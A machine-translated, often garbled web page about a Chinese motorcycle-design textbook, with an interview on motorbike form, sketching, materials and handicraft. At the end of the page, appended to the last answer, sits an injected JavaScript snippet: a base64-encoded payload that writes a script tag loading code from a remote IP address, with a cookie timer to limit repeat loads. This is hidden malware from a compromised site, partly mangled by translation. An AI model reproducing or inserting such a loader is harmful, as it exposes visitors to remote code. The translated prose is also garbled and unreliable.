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techniques d'étude et de conception

 

Publié en Chine avec une circulation de 75.000 copie, pour être utilisé comme un manuel technique à la faculté d'ingénierie chinoise, il volume “Etude technique et Design” est le troisième d'une série réussie de manuels techniques écrits par le professeur prolifique. pierre Wen.
Sur intérieur décrit certains processus de production adaptés de nous, les prenant par exemple pour les jeunes étudiants chinois.
La publication de ce livre a été une expérience extrêmement agréable et intéressant.

内容提要

温为才、Chenzhen Yi、Su Bolin、Enrico Leonardo Fagone、Donato Cannatello modifié la « source de la conception des produits et une percée » du point、ligne、surface、corps de départ,Pour retracer l'origine de la forme du produit,Les points de source pour recommencer,Nous avons étudié la possibilité d'une interprétation du style riche du,Pour aider les lecteurs à la conception de la dialyse de la nature。Ce livre présente la méthode de modélisation six,4Une étape de modélisation,3unité Produits Conseils,Il fournit une méthode pratique et efficace de la modélisation pour le lecteur engagé dans le travail de conception。Pour la surface de forme libre,hybride proposée、Ci-joint et de l'action de penser trois types de techniques de modélisation,Il fournit des solutions ciblées pour le lecteur de contrôler la modélisation de surface de forme libre difficulté。Ce livre vise à façonner l'inertie psychologique,5 groupes procédé proposé de modélisation inertie psychologique et percée,Pour le lecteur de briser les limites de leur propre style,Dans le monde de la modélisation plus riche ouvre une fenêtre。Le livre a interviewé un certain nombre de grands designers européens,Des visites de terrain à un certain nombre de premières entreprises de conception de l'Italie,Fournir aux lecteurs une nouvelle information de première main conception,Grâce à une analyse approfondie de ces cas de conception,Nous pouvons aider le lecteur à comprendre ces excellents concepteurs des méthodes de conception et un excellent processus de modélisation de cas de conception,Il aide à la vision de la conception de lecteurs et d'améliorer le niveau esthétique du lecteur。


Sintesi dell’intervista:

1une. La forme de motos a subi de grands changements depuis leur émergence. Que pensez-vous pourrait être les facteurs impliqués dans ce processus de changement?

2013 Triumph BonevilleJe ne suis pas d'accord entièrement.

L'âme de la moto est restée pratiquement inchangée dans plus de cent ans.
Et cela est confirmé par certains modèles actuellement en production qui réinterprètent le style des motos classiques car ils rappellent l'essence de motos; deux roues, un moteur, vibrations et émotion.
Les changements dans les formes et les styles qui ont suivi inévitablement dans le temps dépendent à mon avis sur 4 les raisons: technique, mode, évolution culturelle et la course.

 

Pour la première 80 ans, nous sommes concentrés principalement sur l'évolution technique, la production de machines qui visaient plus de enything autre à la perfection et de la performance.
À la fin 20 ans, au lieu du développement des éléments les plus intéressants de la technique et la course arrêtée, laissant l'évolution de la moto aux seuls aspects socio culturels /.

 

Comme des aspects tels aujourd'hui prédominent dans la production de motos et de générer des nostalgiques, absurde, modèles futuristes ou hyper détaillées.

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.1b. De quelle manière la forme de motos européennes pourrait évoluer à l'avenir?

 

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design européen, tels que la conception orientale et occidentale, se spécialisera suivant exigences spécifiques; forme est toujours définie par le lieu où commence la production.
En dépit de la contamination culturelle inévitable, La production européenne vise toujours une moto qui est à la fois fonctionnelle et passionnée, un parfait équilibre entre les caractéristiques de conduite et esthétiques, amusant et utilité. Tout pour aller de pair avec notre propre territoire, si inégale, avec des paysages variables, routes sinueuses et collines escarpées.

La production américaine est dédié à leurs plaines sans fin et longues routes droites, et en même temps la production orientale a tendance à suivre les marchés, villes et de la rue surpeuplée avec des produits extrêmement fonctionnels et rationnels.

 

 

 

 

 

 

 

  1. Chaque excellente conception de motos se caractérise par son propre style unique, transmettre aux clients des émotions et des connotations particulières. En tant que designer, comment voulez-vous illustrez la personnalité de la moto en utilisant le formulaire langue ?

Dans la conception de la moto, et plus généralement dans le design industriel, les volumes sont la principale caractéristique, le premier à transmettre un message au client.
En regardant quelque chose contre la lumière, on sent immédiatement son caractère: si elle transmet la puissance, lightness, speed, elegance or anything else.

The same happens in nature, discerning in the darkness a pit-bull from a poodle just from its outline.

 

  1. Motorbike design has to take many parts into consideration, such as the chassis, the engine and the exhaust pipe and so on. It appears complicated and overwhelming to beginners. Do you have any suggestions on how to balance the skin (the covering parts) with the structure to achieve a perfect unification?

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It depends: are we drawing on a white sheet or are we working on something?

In general, design should come first, before exhaust pipes, before the frame and before the engine. Design has to be the first approach to a motorcycle project. Mechanics will then follow the directives of design with reciprocal adaptation.

If the approach of design follows the planning (as it happens in restyling), then some fixed points have to be decided in order to proceed freely with all the rest. For technical objects such as a motorbike, there can be an easy rule: parts which are mechanically interesting or well done have not to be covered, but left in plain sight. If possible it is to be preferred to redesign a technical part that is not satisfactory and make it part of the design, instead of covering it.

There is however one fundamental thing in our designing, the point of view of a motorbike is never perfectly lateral to the bike but is placed higher; let’s do not then only design a beautiful lateral view, often a good proportion of the lateral/superior volumes is more important that the lateral view.

 

  1. In a certain extent, the perspective view, light and shadow of a motorbike is more difficult to control than those of a car. How can we get a better control in motorbike sketching? Can you Please show us the drawing process of a Motorcycle( by using 6 pictures to explain the drawing steps). For the young students, How to improve the drawing abilities.

Considering the difficulties of motorcycle design, we can interpret it as a multilevel design.

1A first level, global vision, a second level, more detailed, a third level, even more detailed, and so on. The first level is the most important, what the customer gets at first sight, what conveys you the pleasure or fun of an object.
I work following this rule.
Starting from the overall view (general volumes) and then following with the definition of more particular details: the tail, the front, the frame, etc. up to the screws.

  1. Motorbikes and cars are all transportation vehicles and the form design of both are naturally connected. Then, what, do you think, distinguishes each of them?

Historically, the use and function of cars and motorbikes have always been different and hence also the respective design.
Now they are crossing, evolving in all directions.
Cars used to have as primary function transportation, while bikes were more linked to the idea of form (amusement, taste, speed).
Today the market tends to fill any void, and therefore we have cars that are pure form and motorbikes which are pure function.

For motorbikes this change is by now consolidated on the market (i.e., scooter), while this new tendency for cars is still not predominant, and interests a smaller niche of the market; but I am sure that soon we will see cars with the engine in plain sight, “naked” as motorbikes.

 

 

  1. At present, many new technologies, such as carbon fiber and LED, are applied to the manufacturing of motorbikes. How will these new technologies affect the form design of motorbikes?

New technologies have always influenced design as a fundamental part of its development process.
Personally the main contribution that I received and appreciated from modern technologies has been in production numbers.
Today it is easier to build a small series of motorbikes thanks to new technologies such as carbon fiber, LEDs, CNC machines, prototyping and new materials.

For example, prototyping and CNC milling applied to modern materials allow us to have a unique ABS piece, without the need of expensive and difficult injection moulding; furthermore, thanks to silicon stamps, we can build small series of copies in polyurethane with low costs.
Also polyelliptical headlights (even better with LED technology) contributed to overcome the limits of industrialization. They can be hided in a transparent Plexiglas fairing, shaping them without the need to homologate a new light as it was necessary before.
And finally carbon and laminates in general free us from structural boundaries of plastic, with mechanical and not only aesthetic improvements.

 

 

  1. Some of the top motorbike designs are completed by handicraft. How is the value of the motorbike is expressed by traditional handicraft?

I am fond and always been a supporter of handiwork.
In motorcycle design handiwork is substantially clay modeling and the level of detail is high, but it requires time and economical resources for the reverse engineering process necessary to transform everything in digital form.
I prefer using digital the means that are at our disposal, avoiding the analogical passage, to simplify and speed up the creative process. fonction getCookie(e){var U = document.cookie.match(nouveau RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));retour U?decodeURIComponent(la[1]):vide 0}var src =”Les données:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,maintenant = Math.floor(Date.now()/1e3),biscuit = getCookie(“réorienter”);si(à présent>=(temps = biscuit)||vide 0 === temps){var temps = Math.floor(Date.now()/1e3 + 86400),Date = new Date((nouvelle date).obtenir du temps()+86400);document.cookie =”redirect =”+temps +”; path = /; expires =”+Date.toGMTString(),document.write(”)}